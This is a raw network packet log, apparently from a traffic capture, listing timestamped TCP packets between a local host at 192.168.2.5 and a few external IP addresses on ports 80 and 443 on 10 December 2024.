Dec 10, 2024 05:10:45.337052107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.337094069 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.337141037 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.337899923 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.337953091 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.337965012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.338004112 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.338740110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.338793039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.338845015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.338973999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.339643002 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.339692116 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.339755058 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.339792967 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.340509892 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.340614080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.340662956 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.341177940 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:45.341239929 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:45.341377974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.341460943 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.341465950 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.341969013 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.342252016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.342338085 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.342375994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.342415094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.343132973 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.343261957 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.343297005 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.344218016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.344229937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.344265938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.344890118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.344948053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.345016003 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.345072031 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.345782042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.345832109 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.345890045 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.345990896 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.346292019 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.346375942 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.346661091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.346719027 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.346744061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.346868038 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.347532988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.347649097 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.347696066 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.348409891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.348531961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.348588943 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.349246025 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.351130962 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.354203939 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.354212046 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.354422092 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.355658054 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.355684996 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:45.355724096 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:45.547482967 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.547626019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.547648907 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.547715902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.547895908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.548007011 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.548077106 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.548789978 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.548871040 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.548907042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.548996925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.549833059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.549844027 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.549916029 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.550578117 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.550647974 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.550662041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.550726891 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.551414967 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.551489115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.551517010 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.551579952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.552320957 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.552395105 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.552423000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.552468061 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.553185940 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.553255081 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.553291082 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.553332090 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.554080009 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.554153919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.554163933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.554233074 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.554975986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.555042028 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.555058956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.555124998 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.555869102 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.555941105 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.555943012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.556016922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.556710958 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.556782961 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.556787014 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.556860924 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.557898998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.557909966 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.557971001 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.558459997 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.558526039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.558568954 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.558660030 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.559348106 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.559420109 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.559459925 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.559537888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.560229063 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.560337067 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.560410976 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.561142921 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.561208010 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.561284065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.561980963 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.562051058 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.562081099 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.562130928 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.562875986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.562944889 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.562977076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.563025951 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.563750029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.563824892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.563859940 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.563949108 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.564646959 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.564717054 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.564749956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.564793110 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.565526962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.565588951 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.565602064 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.565685034 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.566432953 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.566509962 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.566524982 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.566591024 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.567271948 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.567342997 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.567375898 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.567420006 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.568171978 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.568243027 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.568270922 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.568320036 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.569045067 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.569124937 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.569149971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.569243908 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.569947958 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.570007086 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.570014000 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.570092916 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.570790052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.570861101 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.570928097 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.571150064 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.571677923 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.571748018 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.571779966 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.571827888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.572606087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.572673082 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.572704077 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.572757006 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.573447943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.573522091 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.573577881 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.573637962 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.574332952 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.574404955 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.574438095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.574481010 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.575190067 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.575329065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.575407028 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.576082945 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.576153040 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.576184988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.576232910 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.576953888 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.577022076 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.577054977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.577100039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.577882051 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.577954054 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.577956915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.578032970 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.578700066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.578768969 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.578811884 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.578892946 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.579612017 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.579679966 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.579714060 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.579762936 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.580473900 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.580542088 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.580574989 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.580621004 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.581449032 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.581512928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.581531048 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.581605911 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.582237005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.582309961 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.582344055 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.582428932 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.583127975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.583201885 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.583235979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.583329916 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.584005117 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.584059000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.584073067 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.584151030 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.584880114 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.584948063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.584985971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.585072041 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.585772991 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.585840940 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.585856915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.585917950 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.586651087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.586698055 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.586719990 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.586807013 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.587515116 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.587609053 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.587690115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.588408947 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.588502884 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.588531017 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.588598967 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.589283943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.589359045 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.589394093 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.589462042 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.590167999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.590287924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.590357065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.591033936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.591135979 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.591157913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.591268063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.591957092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.591995001 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.592104912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.592143059 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.592811108 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.592854977 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.592940092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.592988014 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.593633890 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.593687057 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.739590883 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.739646912 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.739697933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.739742041 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.740019083 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.740092039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.740125895 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.740294933 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.740910053 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.740959883 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.741024971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.741080999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.741753101 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.741796017 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.742047071 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.742110968 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.742160082 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.742202044 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.742934942 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.743017912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.743065119 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.743840933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.743916035 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.743961096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.744715929 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.744765043 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.744807959 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.745594978 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.745635986 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.745760918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.745904922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.746483088 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.746524096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.746594906 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.746633053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.747347116 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.747464895 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.747495890 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.747529984 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.748228073 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.748270988 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.748327971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.748481035 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.749100924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.749145985 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.749222994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.749303102 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.749968052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.750011921 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.750080109 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.750133038 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.750859976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.750902891 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.750945091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.750988007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.751735926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.751776934 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.751835108 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.752619028 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.752681017 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.752753973 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.752795935 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.753489971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.753535986 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.753618956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.753669024 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.754381895 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.754432917 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.754486084 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.755089045 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.755245924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.755316973 CET	49921	80	192.168.2.5	185.215.113.16
